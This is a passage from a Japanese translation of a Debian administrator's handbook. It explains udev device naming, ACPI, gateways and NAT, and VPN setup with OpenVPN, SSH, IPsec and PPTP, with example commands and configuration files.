単純な USB メモリに固定された名前を割り当てる場合を考えましょう。最初に、一意的な方法で USB メモリを識別するために必要な要素を見つけなければいけません。このために、USB メモリを取り付け、udevadm info -a -n /dev/sdc を実行してください (ここで、**/dev/sdc** は USB メモリに割り当てられた実際のデバイス名で置き換えてください)。

```
# udevadm info -a -n /dev/sdc
[...]
  looking at device '/devices/pci0000:00/0000:00:10.3/usb1/1-2/1-2.2/1-2.2:1.0/host9/
      ➥ target9:0:0/9:0:0:0/block/sdc':
    KERNEL=="sdc"
    SUBSYSTEM=="block"
    DRIVER==""
    ATTR{range}=="16"
```

```
    ATTR{ext_range}==”256”
    ATTR{removable}==”1”
    ATTR{ro}==”0”
    ATTR{size}==”126976”
    ATTR{alignment_offset}==”0”
    ATTR{capability}==”53”
    ATTR{stat}==”      51      100     1208      256        0        0        0        0
        ➥         0      192      25        6”
    ATTR{inflight}==”       0        0”
[...]
  looking at parent device ’/devices/pci0000:00/0000:00:10.3/usb1/1-2/1-2.2/1-2.2:1.0/
      ➥ host9/target9:0:0/9:0:0:0’:
    KERNELS==”9:0:0:0”
    SUBSYSTEMS==”scsi”
    DRIVERS==”sd”
    ATTRS{device_blocked}==”0”
    ATTRS{type}==”0”
    ATTRS{scsi_level}==”3”
    ATTRS{vendor}==”I0MEGA  ”
    ATTRS{model}==”UMni64MB*IOM2C4 ”
    ATTRS{rev}==”    ”
    ATTRS{state}==”running”
[...]
    ATTRS{max_sectors}==”240”
[...]
  looking at parent device ’/devices/pci0000:00/0000:00:10.3/usb1/1-2/1-2.2’:
    KERNELS==”9:0:0:0”
    SUBSYSTEMS==”usb”
    DRIVERS==”usb”
    ATTRS{configuration}==”iCfg”
    ATTRS{bNumInterfaces}==” 1”
    ATTRS{bConfigurationValue}==”1”
    ATTRS{bmAttributes}==”80”
    ATTRS{bMaxPower}==”100mA”
    ATTRS{urbnum}==”398”
    ATTRS{idVendor}==”4146”
    ATTRS{idProduct}==”4146”
    ATTRS{bcdDevice}==”0100”
[...]
    ATTRS{manufacturer}==”USB Disk”
    ATTRS{product}==”USB Mass Storage Device”
    ATTRS{serial}==”M004021000001”
[...]
```

新しいルールを作るために、デバイスの変数および親デバイスの変数に対するテストを行います。上の例から、以下のような 2 つのルールを作成します。

```
KERNEL==”sd?”, SUBSYSTEM==”block”, ATTRS{serial}==”M004021000001”, SYMLINK+=”usb_key/
    ➥ disk”
```

```
KERNEL==”sd?[0-9]”, SUBSYSTEM==”block”, ATTRS{serial}==”M004021000001”, SYMLINK+=”
    ➥ usb_key/part%n”
```

これらのルールをたとえば /etc/udev/rules.d/010_local.rules という 1 つのファイルに書き込んだら、USB メモリを取り外し、もう一度取り付けてください。この USB キーに関連付けられたディスクを表す /dev/usb_key/disk と第 1 パーティションを表す /dev/usb_key/part1 が生成されたことと思います。

GOING FURTHER

udev 設定のデバッグ

多くのデーモンと同様に、udevd は /var/log/daemon.log にログを保存します。しかしデフォルトの状態だとログはそれほど詳細でなく、何が起きているかを理解するには不十分な場合が多いです。udevadm control --log-priority=info コマンドを使ってログの詳細度を上げることで、この問題は解決されます。デフォルトの詳細度に戻すには、udevadm control --log-priority=err を使ってください。

9.12. 電源管理、Advanced Configuration and Power Interface (ACPI)

電源管理は問題のある場合が多いです。実際、適切にコンピュータを一時停止するには、コンピュータのすべてのデバイスドライバがデバイスをスタンバイ状態にする方法を知り、デバイスドライバがデバイスを再始動する際に適切に再設定できなければいけません。不幸なことに、Linux の下ではうまくスタンバイ状態にできないデバイスが多いです。なぜなら、デバイスの製造業者が必要な仕様を公開しないからです。

Linux は ACPI (Advanced Configuration and Power Interface) つまり最新の標準的な電源管理規格をサポートします。**acpid** パッケージは電源管理に関するイベント (ラップトップで交流電源とバッテリ電源の切り替えに対するイベントなど) を待ち受けたり、イベントに応答してさまざまなコマンドを実行するデーモンを提供します。

BEWARE

グラフィックカードとスタンバイ

グラフィックカードドライバはスタンバイがうまくできない問題の原因になることが多いです。この場合、X.org グラフィックサーバの最新版を試してみるのが良いアイディアです。

この章では多くの Unix システムで共通の基本的サービスの概要を述べました。次の章では管理されているマシンの環境に焦点を合わせます。すなわちネットワークに焦点を合わせます。多くのサービスはネットワークを正しく動作させることを必要とします。次の章ではこれについて議論します。

キーワード

ネットワーク
ゲートウェイ
TCP/IP
IPv6
DNS
Bind
DHCP
QoS

章

ネットワークインフラ 10

目次

ゲートウェイ 222　仮想プライベートネットワーク 224　Quality of Service 234　動的ルーティング 236
IPv6 237　ドメインネームサーバ (DNS) 239　DHCP 242　ネットワーク診断ツール 244

Linux はネットワークに関する Unix の財産すべてを受け継ぎ、Debian はネットワークを作成および管理する完全なツールセットを提供します。この章では、これらのツールを説明します。

10.1. ゲートウェイ

ゲートウェイは複数のネットワークを連結するシステムです。ゲートウェイという用語は外部 IP アドレスに向かう経路に出るために必須のローカルネットワークの「出口」を意味する場合が多いです。ゲートウェイは相互に連結する各ネットワークに接続されており、複数のインターフェース間で IP パケットを相互に伝送するためのルータとして振る舞います。

BACK TO BASICS

IP パケット

今日、多くのネットワークは IP プロトコル (**インターネットプロトコル**) を使います。IP プロトコルは転送するデータを適当なサイズのパケットに分割します。それぞれのパケットには、実データ本体に加えて、適切な経路選択に必要な数々のデータが含まれます。

BACK TO BASICS

TCP/UDP

IP を使ってデータを送信する場合であっても、プログラムが個々のパケットそれ自体を処理することはほとんどありません。多くのプログラムは TCP (**Transmission Control Protocol**) を使います。TCP は IP 上のレイヤで、2 点間にデータストリーム専用の接続を確立することが可能です。TCP を使うプログラムはデータを送り込むための入口を考慮するだけです。この入口から送信されたデータは接続の別の側にある出口から損失なく同じデータが (同じ順番で) 出てくると保証されます。TCP よりも下層のレイヤで起きるさまざまなエラーは TCP によって補正されます。具体的に言えば、損失したパケットはもう一度転送され、順番が狂って到着したパケット (たとえば、異なる経路で到着したために) は適切な順番にそろえられます。

IP に依存するもう 1 つのプロトコルが UDP (**User Datagram Protocol**) です。TCP と対照的に、UDP はパケット重視です。UDP の目標は TCP と異なります。すなわち、UDP の目標は 1 個のパケットをあるアプリケーションから別のアプリケーションに転送するだけです。UDP を使った場合、転送中のパケット損失は補償されませんし、パケットが送信順と同じ順番で受信されることも保証されません。UDP の主な利点は遅延が大きく改善される点です。なぜなら、1 パケットを損失しても、損失したパケットの再転送要求を出さないかぎり、損失したパケット以降に続くパケットの受信は遅延しないからです。

TCP と UDP はどちらもポート番号を使います。ポート番号とは、マシン上で動くあるアプリケーションと通信を確立するための「内線番号」と言えます。この概念を使うことで、同一のマシンに対して複数の異なる通信を並列して保つことが可能になります。なぜなら、通信はポート番号で区別されるからです。

IANA (**Internet Assigned Numbers Authority**) が標準化したいくつかのポート番号は「well-known」とされ、ネットワークサービスに関連付けられています。たとえば、TCP ポート 25 番は一般に電子メールサーバが使うポート番号として標準化されています。

➨ `http://www.iana.org/assignments/port-numbers`

ローカルネットワークがプライベートアドレス (インターネットにルーティングされないアドレス) 範囲を使う場合、ゲートウェイは**アドレスマスカレード**を実行する必要があります。**アドレスマスカレード**を使うことで、ローカルネットワーク上のマシンが外部と通信することが可能になります。マスカレード動作とはネットワークレベルのプロキシ動作のようなものです。すなわち、内部のマシンからの外部宛接続はゲートウェイ自身からの接続に置き替えられます (なぜなら、ゲートウェイは外部にルーティングできるアドレスを持っているからです)。マスカレード接続を通過するデータは外部に送信され、応答として戻ってくるデータはマスカレード接続を通過して内部のマシンに送信されます。ゲートウェイはこの目的に専用の TCP ポート範囲を使います。この範囲は通常とても大きな番号 (60000 番より大きい番号) です。内部マシンからの接続はこれらの予約されたポート番号の 1 つから送信された接続として外部に送信されます。

CULTURE

プライベートアドレス範囲

RFC 1918 では、インターネットにルーティングされずローカルネットワークにのみ使うことができる、IPv4 アドレスの範囲が定義されています。1 番目の 10.0.0.0/8 (補注「ネットワークの本質的概念 (イーサネット、IP アドレス、サブネット、ブロードキャスト)」149 ページを参照してください) は 1 個のクラス A 範囲です (クラス A には 2^{24} 個の IP アドレスが含まれます)。2 番目の 172.16.0.0/12 は 16 個のクラス B 範囲です (172.16.0.0/16 から 172.31.0.0/16 まで)。クラス B には 2^{16} 個の IP アドレスが含まれます。3 番目の 192.168.0.0/16 は 1 個のクラス B 範囲です (192.168.0.0/24 から 192.168.255.0/24 までの 256 個のクラス C 範囲とも考えられます)。クラス C には 256 個の IP アドレスが含まれます。

➡ http://www.faqs.org/rfcs/rfc1918.html

ゲートウェイでは 2 種類の**ネットワークアドレス変換** (略して NAT) が実行されます。1 種類目は **Destination NAT** (DNAT) で、(通常は) 到着した接続の宛先 IP アドレス (および TCP や UDP ポート) を書き換える手法です。接続追跡メカニズムによって、通信の継続性を保証するために同じ接続でそれ以降に使われるパケットの宛先が書き換えられます。NAT の 2 種類目は **Source NAT** (SNAT) で、**マスカレード**は SNAT の特別な場合です。SNAT は (通常は) 出て行く接続のソース IP アドレス (および TCP や UDP ポート) を書き換えます。DNAT に関して言えば、出て行く接続の全パケットが接続追跡メカニズムによって適切に取り扱われます。NAT は IPv4 と IPv4 の制限されたアドレス空間だけに関連します。一方で IPv6 では、アドレス空間が広くなったことにより、すべての「内部」アドレスは直接インターネットにルーティングできるようになるため、NAT の有用性が減ります (これは内部マシンにアクセスできるようになることを意味しているのではありません。なぜなら、中間ファイアウォールがトラフィックをフィルタするからです)。

BACK TO BASICS

ポート転送

DNAT の具体的な応用例が**ポート転送**です。マシンのあるポートに到着する接続が他のマシンのあるポートに転送されます。特にアプリケーションレベルでは ssh (第 9.2.1.3 節「ポート転送を使った暗号化トンネルの作成」194 ページを参照してください) や redir などを使うことで、同じ効果を果たす別の解決策が存在するかもしれません。

理論はここまでにして、具体的な例を説明します。Debian システムをゲートウェイとして機能させるには、以下に示す通り /proc/ 仮想ファイルシステムを使って、Linux カーネルの適切なオプションを有効化するだけです。

```
# echo 1 > /proc/sys/net/ipv4/conf/default/forwarding
```

このオプションを起動時に自動的に有効化するには、/etc/sysctl.conf の net.ipv4.conf.default.forwarding オプションを 1 に設定してください。

例 10.1　/etc/sysctl.conf ファイル

```
net.ipv4.conf.default.forwarding = 1
net.ipv4.conf.default.rp_filter = 1
net.ipv4.tcp_syncookies = 1
```

IPv6 に対して同様の効果を与えるには、IPv4 に対して手作業で行ったコマンドの ipv4 を単純に ipv6 へ置換して実行するか、/etc/sysctl.conf 中の net.ipv6.conf.all.forwarding オプションを 1 に設定してください。

IPv4 マスカレードを設定するには少し複雑な作業が必要です。すなわち **netfilter** ファイアウォールを設定する必要があります。

同様に、(IPv4 で) NAT を使うには **netfilter** の設定が必要です。**netfilter** の基本目的はパケットフィルタリングですから、詳細は第 14 章: 「セキュリティ」に書かれています (第 14.2 節「ファイアウォールとパケットフィルタリング」377 ページを参照してください)。

10.2. 仮想プライベートネットワーク

仮想プライベートネットワーク (略して VPN) は 2 つの異なるローカルネットワークをインターネットに作ったトンネルを経由してつなげる方法です。さらに、トンネルは通常機密を守るために暗号化されます。VPN はリモートマシンを会社のローカルネットワークの中に参加させるために使われることが多いです。

VPN 機能を提供するツールにはさまざまなものがあります。OpenVPN は効果的な解決策で、設置とメンテナンスが簡単で、SSL/TLS に基づいています。別の可能性は IPsec を使って 2 台のマシン間の IP トラフィックを暗号化することです。IPsec の暗号化は透過的で、ホスト上で実行されているアプリケーションは VPN の存在を気にする必要がありません。SSH は伝統的な機能に加えて、VPN を提供するために使われる場合もあります。最後に、Microsoft の PPTP プロトコルを使って VPN を作ることも可能です。他にも解決策は存在しますが、本書では解説しません。

10.2.1. OpenVPN

OpenVPN は仮想プライベートネットワーク作成専用ソフトウェアの一種です。OpenVPN をセットアップするには VPN サーバ上とクライアント上に仮想ネットワークインターフェースの作成が必要です。さらに、OpenVPN は tun (IP レベルトンネル用) と tap (イーサネットレベルトンネル用) インターフェースをサポートします。実際には、VPN クライアントをイーサネットブリッジ経由でサーバのローカルネットワークに参加させる場合を除いて、tun インターフェースが最もよく使われます。

OpenVPN は SSL/TLS 暗号化と関連する機能 (機密性、認証、整合性、否認防止) を使うために OpenSSL に依存しています。OpenVPN は共有秘密鍵または公開鍵基盤に基づく X.509 証明書を使うように設定できます。公開鍵基盤に基づく X.509 証明書を使うよう設定することをお勧めします。なぜなら、公開鍵基盤に従えば VPN にアクセスするローミングユーザの数が増えた場合も大きな自由度を保つことが可能だからです。

CULTURE

SSL と TLS

SSL (**Secure Socket Layer**) プロトコルはウェブサーバとの安全な接続を確立する目的で Netscape によって考案されました。SSL は後に TLS (**Transport Layer Security**) の下で IETF によって標準化されました。その後 TLS は進化を続けました。対して SSL は構造的欠陥を見つけられたため SSL を使うことは推奨されません。

公開鍵基盤、easy-rsa

公開鍵暗号では RSA アルゴリズムが広く使われています。公開鍵暗号は秘密鍵と公開鍵からなる「鍵ペア」を使います。2 種類の鍵は互いに密接な関係を持っており、公開鍵で暗号化されたメッセージは秘密鍵を知っている人だけが復号化できるという数学的特徴によって機密性が保証されます。逆に、秘密鍵を使って暗号化されたメッセージは公開鍵を持っている人なら誰でも復号化できます。この特徴を使うことで、メッセージの出自が本物であることを確認することが可能です。なぜなら、秘密鍵を持つものだけがその暗号化メッセージを生成できるからです。デジタルハッシュ関数 (MD5、SHA1、最近の亜種など) を組み合わせることで、これはいかなるメッセージにも適用できる署名メカニズムになります。

しかしながら、鍵ペアを作り、鍵ペアに任意の識別情報を保存し、自由に識別情報を偽ることは誰でも可能です。これに対する 1 つの解決策が X.509 標準によって体系化された**認証局** (CA) の概念です。**認証局**という用語には、**ルート証明書**として知られる信頼された鍵ペアに保存された識別情報の実体の意味も含まれています。**ルート証明書**は他の証明書 (鍵ペア) を署名するためにのみ使われ、署名したい鍵ペアに保存される識別情報を確認するために適切な手順を経た後に署名が行われます。こうすることで X.509 を使うアプリケーションは自分に提示された証明書の識別情報を確認し、提示された証明書が信頼されたルート証明書によって署名されたかを判断できます。

OpenVPN はこの識別情報確認ルールに従います。パブリック認証局は (高額な) 料金と引き換えに証明書を発行しているに過ぎません。OpenVPN を使えば会社内のプライベート認証局を作成することが可能です。**easy-rsa** パッケージは X.509 証明書基盤としての機能を果たすツールを提供し、このツールは `openssl` コマンドを使うスクリプト群として実装されています。

NOTE

Jessie 以前の easy-rsa

Wheezy までの Debian のバージョンでは、**easy-rsa** は **openvpn** パッケージの一部として配布されており、**easy-rsa** のスクリプトは `/usr/share/doc/openvpn/examples/easy-rsa/2.0/` 以下に含まれていました。認証局を設定するには、ここで説明されているように `make-cadir` コマンドを使うのではなく、このディレクトリをコピーする必要がありました。

Falcot Corp の管理者は **easy-rsa** ツールを使い、サーバおよびクライアントに必要な証明書を作ります。**easy-rsa** ツールを使うことで、すべてのクライアントの設定を同様にすることが可能です。クライアントは Falcot のプライベート認証局から発行された証明書を信頼するようにセットアップしなければいけません。最初に Falcot のプライベート認証局用の証明書を発行します。この目的を達成するために、管理者は認証局に必要なファイルを含むディレクトリを適切な場所にセットアップします。セットアップする場所は、認証局の秘密鍵が盗まれる危険性を和らげるために、ネットワークに接続されていないマシンが好ましいです。

```
$ make-cadir pki-falcot
$ cd pki-falcot
```

easy-rsa ツールは必要なパラメータを vars ファイルに保存します。パラメータには特に KEY_ 接頭辞が付けられています。これらの変数は環境変数に組み込まれます。

```
$ vim vars
$ grep KEY_ vars
export KEY_CONFIG=‘$EASY_RSA/whichopensslcnf $EASY_RSA‘
export KEY_DIR=”$EASY_RSA/keys”
echo NOTE: If you run ./clean-all, I will be doing a rm -rf on $KEY_DIR
export KEY_SIZE=2048
export KEY_EXPIRE=3650
export KEY_COUNTRY=”FR”
export KEY_PROVINCE=”Loire”
export KEY_CITY=”Saint-Étienne”
export KEY_ORG=”Falcot Corp”
export KEY_EMAIL=”admin@falcot.com”
export KEY_OU=”Certificate authority”
export KEY_NAME=”Certificate authority for Falcot Corp”
# If you’d like to sign all keys with the same Common Name, uncomment the KEY_CN export
    ➥ below
# export KEY_CN=”CommonName”
```

```
$ . ./vars
NOTE: If you run ./clean-all, I will be doing a rm -rf on /home/roland/pki-falcot/keys
$ ./clean-all
```

次にプライベート認証局の鍵ペアを作成します (この最中に、鍵ペアの 2 つの部分が keys/ca.crt と keys/ca.key に保存されます)。

```
$ ./build-ca
Generating a 2048 bit RSA private key
.................................................................+++
...+++
writing new private key to 'ca.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [FR]:
State or Province Name (full name) [Loire]:
Locality Name (eg, city) [Saint-Étienne]:
Organization Name (eg, company) [Falcot Corp]:
Organizational Unit Name (eg, section) [Certificate authority]:
Common Name (eg, your name or your server's hostname) [Falcot Corp CA]:
Name [Certificate authority for Falcot Corp]:
Email Address [admin@falcot.com]:
```

これで VPN サーバの証明書および SSL/TLS 接続のサーバ側に必要な Diffie-Hellman パラメータを作ることが可能になりました。VPN サーバは DNS 名 vpn.falcot.com で識別されます。ここで指定した DNS 名は作成される鍵ファイルの名前としても使われます (keys/vpn.falcot.com.crt は公開鍵証明書、keys/vpn.falcot.com.key は秘密鍵です)。

```
$ ./build-key-server vpn.falcot.com
Generating a 2048 bit RSA private key
.....................................................................................
    ➥
...........+++
writing new private key to 'vpn.falcot.com.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [FR]:
```

```
State or Province Name (full name) [Loire]:
Locality Name (eg, city) [Saint-Étienne]:
Organization Name (eg, company) [Falcot Corp]:
Organizational Unit Name (eg, section) [Certificate authority]:
Common Name (eg, your name or your server's hostname) [vpn.falcot.com]:
Name [Certificate authority for Falcot Corp]:
Email Address [admin@falcot.com]:

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
Using configuration from /home/roland/pki-falcot/openssl-1.0.0.cnf
Check that the request matches the signature
Signature ok
The Subject's Distinguished Name is as follows
countryName           :PRINTABLE:'FR'
stateOrProvinceName   :PRINTABLE:'Loire'
localityName          :T61STRING:'Saint-\0xFFFFFFC3\0xFFFFFF89tienne'
organizationName      :PRINTABLE:'Falcot Corp'
organizationalUnitName:PRINTABLE:'Certificate authority'
commonName            :PRINTABLE:'vpn.falcot.com'
name                  :PRINTABLE:'Certificate authority for Falcot Corp'
emailAddress          :IA5STRING:'admin@falcot.com'
Certificate is to be certified until Mar  6 14:54:56 2025 GMT (3650 days)
Sign the certificate? [y/n]:y


1 out of 1 certificate requests certified, commit? [y/n]y
Write out database with 1 new entries
Data Base Updated
$ ./build-dh
Generating DH parameters, 2048 bit long safe prime, generator 2
This is going to take a long time
[…]
```

以下では、VPN クライアント用の証明書を作成します。VPN を利用するコンピュータ 1 台ごとおよび人間 1 人ずつに 1 つの証明書が必要です。

```
$ ./build-key JoeSmith
Generating a 2048 bit RSA private key
...............................+++
...............................................+++
writing new private key to 'JoeSmith.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
```

```
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [FR]:
State or Province Name (full name) [Loire]:
Locality Name (eg, city) [Saint-Étienne]:
Organization Name (eg, company) [Falcot Corp]:
Organizational Unit Name (eg, section) [Certificate authority]:Development unit
Common Name (eg, your name or your server's hostname) [JoeSmith]:Joe Smith
[…]
```

すべての証明書を作ったら、証明書を適切な場所にコピーする必要があります。すなわち、ルート証明書の公開鍵 (keys/ca.crt) はすべてのマシン (サーバもクライアントも) に /etc/ssl/certs/Falcot_CA.crt という名前で保存されます。サーバの証明書はサーバにだけインストールされます (keys/vpn.falcot.com.crt は /etc/ssl/vpn.falcot.com.crt へ、keys/vpn.falcot.com.key は管理者だけが読めるようなパーミッション制限を掛けるために /etc/ssl/private/vpn.falcot.com.key へインストールされます)。同時に、対応する Diffie-Hellman パラメータ (keys/dh2048.pem) は /etc/openvpn/dh2048.pem へインストールされます。クライアント証明書は対応する VPN クライアントに同様の方法でインストールされます。

OpenVPN サーバの設定

デフォルトで、OpenVPN 初期化スクリプトは /etc/openvpn/*.conf で定義されたすべての仮想プライベートネットワークを開始します。このため、VPN サーバをセットアップする場合、このディレクトリ内に対応する設定ファイルを配置することになります。設定ファイルの良い足掛かりとして /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz が用意されています。これはどちらかと言えば標準的なサーバを作るためのものです。もちろん、一部のパラメータを適切に設定しなければいけません。具体的に言えば、ca、cert、key、dh パラメータを対応するファイルが設置されている場所に設定する必要があります (それぞれ、/etc/ssl/certs/Falcot_CA.crt、/etc/ssl/vpn.falcot.com.crt、/etc/ssl/private/vpn.falcot.com.key、/etc/openvpn/dh2048.pem に設定します)。server 10.8.0.0 255.255.255.0 指示文は VPN によって使われるサブネットを定義します。サーバにはこの範囲に含まれる最初の IP アドレス (10.8.0.1) が割り当てられ、クライアントには残りの IP アドレスが割り当てられます。

この設定で OpenVPN を開始すると、通常 tun0 という名前の仮想ネットワークインターフェースが作成されます。しかしながら、ファイアウォールは OpenVPN の開始前に実ネットワークインターフェースと同時に設定される場合が多いです。このため、永続的な仮想ネットワークインターフェースを作成し、OpenVPN が事前に作成された仮想インターフェースを使うように設定することを推奨します。この追加的設定により、インターフェースの名前を選ぶことが可能になります。この目的を達成するには、openvpn --mktun --dev vpn --dev-type tun を使って tun 型の vpn と名付けられた仮想ネットワークインターフェースを作成します。さらに、このコマンドをファイアウォール設定スクリプトの中で使えば、簡単に設定を統合できます。つまり /etc/network/interfaces ファイルの up 指示文を使います。OpenVPN 設定ファイルをファイアウォール設定に対応させるためには dev vpn と dev-type tun 指示文を使います。

これ以上の設定を追加しなければ、VPN クライアントは 10.8.0.1 アドレスの VPN サーバにアクセスできるだけです。クライアントをローカルネットワーク (192.168.0.0/24) へアクセスできる状態にするには、push route 192.168.0.0 255.255.255.0 指示文を OpenVPN 設定に追加します。こうすることで、VPN クライアントは自動的にネットワーク経路を取得し、VPN 経由でローカルネットワークに到達できるようになります。さらに、ローカルネットワークにいるマシンに対して VPN サーバに通じる VPN への経路を知らせる

必要もあります (VPN サーバがゲートウェイにインストールされている場合、これは自動的に動きます)。別の方法として、VPN サーバが IP マスカレードを動かすように設定する方法があります。そうすれば、VPN クライアントからの接続はあたかもクライアントが VPN サーバからアクセスしたかのように見えます (第 10.1 節「ゲートウェイ」222 ページを参照してください)。

OpenVPN クライアントの設定

OpenVPN クライアントを設定する場合にも、`/etc/openvpn/` に設定ファイルを置きます。標準的な設定の良い足掛かりとして `/usr/share/doc/openvpn/examples/sample-config-files/client.conf` が用意されています。remote vpn.falcot.com 1194 指示文は OpenVPN サーバのアドレスとポート番号を表します。さらに ca、cert、key も鍵ファイルの場所に合わせて設定が必要です。

起動時に VPN を自動的に開始したくない場合、`/etc/default/openvpn` ファイルの AUTOSTART 指示文に none を設定してください。VPN 接続の開始と停止は `service openvpn@name start` と `service openvpn@name stop` コマンドを使えばいつでも可能です (ここで、接続名 **name** は `/etc/openvpn/name.conf` で定義したものにマッチします)。

network-manager-openvpn-gnome パッケージには、NetworkManager (第 8.2.4 節「ローミングユーザ向けの自動ネットワーク設定」153 ページを参照してください) の拡張が含まれ、これを使うことで OpenVPN 仮想プライベートネットワークを管理することが可能です。誰もがグラフィカルに OpenVPN 接続を設定し、ネットワーク管理アイコンからこれを制御することが可能です。

10.2.2. SSH を使った仮想プライベートネットワーク

SSH を使った仮想プライベートネットワークの作成法には、2 種類の方法があります。歴史的に見て重要な方法が SSH リンクの上で PPP レイヤを確立する方法です。この方法は HOWTO 文書で説明されています。

➡ `http://www.tldp.org/HOWTO/ppp-ssh/`

2 番目の方法はより最近の方法で、OpenSSH 4.3 で導入されました。その結果今や、OpenSSH は SSH 接続のサーバおよびクライアント側に仮想ネットワークインターフェース (tun*) を作り、仮想インターフェースをあたかも物理インターフェースのように設定することが可能です。このトンネルシステムを有効化するにはまず、SSH サーバの設定ファイル (`/etc/ssh/sshd_config`) の中で PermitTunnel を「yes」に設定しなければいけません。SSH 接続を確立する際には、-w any:any オプションを使って明示的にトンネルの作成を要求しなければいけません (ここで any は必要な tun デバイス番号で置き替えます)。トンネルを作成するには、サーバおよびクライアント側でそのユーザが管理者権限を持っていることが必要です。そうすればネットワークデバイスを作成することが可能です (言い換えれば、接続は root で確立されなければいけません)。

SSH を使って仮想プライベートネットワークを作成する方法は、どちらもかなり直接的なものです。しかしながら、SSH の提供する VPN は最も効率のよい方法ではありません。特に、高レベルのトラフィックをうまく取り扱うことができません。

つまり、TCP/IP スタックが TCP/IP 接続 (SSH) の中にカプセル化される場合、TCP プロトコルは 2 回使われるという点です。1 回は SSH 接続で、もう 1 回がトンネル内です。TCP はタイムアウト遅延を変更することでネットワークの状態に接続状態を適合させる機能があるため、これは特に問題になります。以下のサイトがこの問題についてより詳しく説明しています。

➡ `http://sites.inka.de/sites/bigred/devel/tcp-tcp.html`

このため、VPN over SSH はパフォーマンスに制約のない単発のトンネルに留めるべきです。

10.2.3. IPsec

IPsec は IP VPN の標準的ツールになりつつあるにも関わらず、IPsec の実装は複雑です。IPsec エンジンそれ自身は Linux カーネルに統合されています。ユーザ空間部分で必要となる制御と設定ツールは **ipsec-tools** パッケージに含まれています。具体的には、それぞれのホストの `/etc/ipsec-tools.conf` にはホストが接続する **IPsec トンネル** (IPsec 用語で **Security Association**) のパラメータが含まれます。`/etc/init.d/setkey` スクリプトを使うことで、トンネルを開始したり停止することが可能です (それぞれのトンネルは仮想ネットワークに接続された他のホストと安全なリンクを確立しています)。このファイルは `setkey(8)` マニュアルページに含まれる文書を使って手作業で作ることも可能です。しかしながら、多数のマシン群にすべてのホスト用のパラメータを明示的に書くことはすぐに難しい作業になります。なぜなら、トンネルの数はすぐに増えるからです。たとえば **racoon** や **strongswan** などの IKE (**IPsec Key Exchange** の略語) デーモンをインストールすることで、一元管理による作業の簡素化と鍵の定期的な切り替えによる作業の安全化が可能になります。

IPsec は標準規格という地位があるにも関わらず、その設定が複雑なことが原因で実際にはあまり使われていません。必要なトンネルが少なくて静的な場合は、OpenVPN に基づく解決策が通常好まれます。

CAUTION

IPsec と NAT

ファイアウォールの NAT は IPsec とうまく共存しません。なぜなら、IPsec はパケットを署名しますが、ファイアウォールがパケットを書き換えることで IPsec による署名は無効化され、無効な署名のパケットは受け取り側で拒否されるからです。今やさまざまな IPsec 実装が **NAT-T** (**NAT Traversal** の略語) 技術をサポートしています。これは基本的に IPsec パケットを標準的な UDP パケットにカプセル化するものです。

SECURITY

IPsec とファイアウォール

IPsec の動作の標準的モードは鍵交換に UDP ポート 500 番 (NAT-T を使用する場合 UDP ポート 4500 番) を使います。さらに、IPsec パケットは 2 種類の専用 IP プロトコルを使います。ファイアウォールはこのプロトコルを通過させなければいけません。さらに、これらのパケットの受け入れ可否はプロトコル番号 (ESP は 50 番、AH は 51 番) に基づきます。

10.2.4. PPTP

PPTP (**Point-to-Point Tunneling Protocol** の略語) は 2 種類の通信チャンネルを使います。1 つは制御データ用で、もう 1 つがペイロードデータ用です。ペイロードデータ用チャンネルは GRE プロトコル (**Generic Routing Encapsulation**) を使います。標準的な PPP リンクはペイロードデータ交換用チャンネル上に確立されます。

クライアントの設定

pptp-linux パッケージには Linux 用に簡単に設定できる PPTP クライアントが含まれています。以下の説明は公式文書からヒントを得て作ったものです。

➡ `http://pptpclient.sourceforge.net/howto-debian.phtml`

Falcot の管理者はいくつかのファイルを作成しました。すなわち /etc/ppp/options.pptp、/etc/ppp/peers/falcot、/etc/ppp/ip-up.d/falcot、/etc/ppp/ip-down.d/falcot を作成しました。

例 10.2　/etc/ppp/options.pptp ファイル

```
# PPTP 接続時に利用する PPP オプション
lock
noauth
nobsdcomp
nodeflate
```

例 10.3　/etc/ppp/peers/falcot ファイル

```
# vpn.falcot.com は PPTP サーバです
pty "pptp vpn.falcot.com --nolaunchpppd"
# "vpn" ユーザで本人確認して接続します
user vpn
remotename pptp
# 暗号化を有効にします
require-mppe-128
file /etc/ppp/options.pptp
ipparam falcot
```

例 10.4　/etc/ppp/ip-up.d/falcot ファイル

```
# Falcot ネットワークへの経路を作成します
if [ "$6" = "falcot" ]; then
  # 192.168.0.0/24 is the (remote) Falcot network
  route add -net 192.168.0.0 netmask 255.255.255.0 dev $1
fi
```

例 10.5　/etc/ppp/ip-down.d/falcot ファイル

```
# Falcot ネットワークへの経路を削除します
if [ "$6" = "falcot" ]; then
  # 192.168.0.0/24 is the (remote) Falcot network
  route del -net 192.168.0.0 netmask 255.255.255.0 dev $1
fi
```

SECURITY **MPPE**	PPTP を安全なものにするには MPPE 機能 (**Microsoft Point-to-Point Encryption**) を使います。MPPE はモジュールとして公式の Debian カーネルで利用できます。

サーバの設定

CAUTION **PPTP とファイアウォール**	中間ファイアウォールはプロトコル 47 番 (GRE) を使っている IP パケットを通過させるように設定されなければいけません。さらに、通信チャンネルを開くために PPTP サーバのポート 1723 番を開けることが必要です。

pptpd は Linux 用の PPTP サーバです。主設定ファイル /etc/pptpd.conf にはいくつかの変更が必要です。すなわち **localip** (ローカル IP アドレス) と **remoteip** (リモート IP アドレス) を変更する必要があります。以下の例では、PPTP サーバは常に 192.168.0.199 アドレスを使い、PPTP クライアントは 192.168.0.200 から 192.168.0.250 までの IP アドレスを受け取ります。

例 10.6　/etc/pptpd.conf ファイル

```
# TAG: speed
#
#       PPTP デーモンの通信速度を指定します。
#
speed 115200

# TAG: option
#
#       PPP オプションファイルの場所を指定します。
#       PPP はデフォルトで '/etc/ppp/options' を使います
#
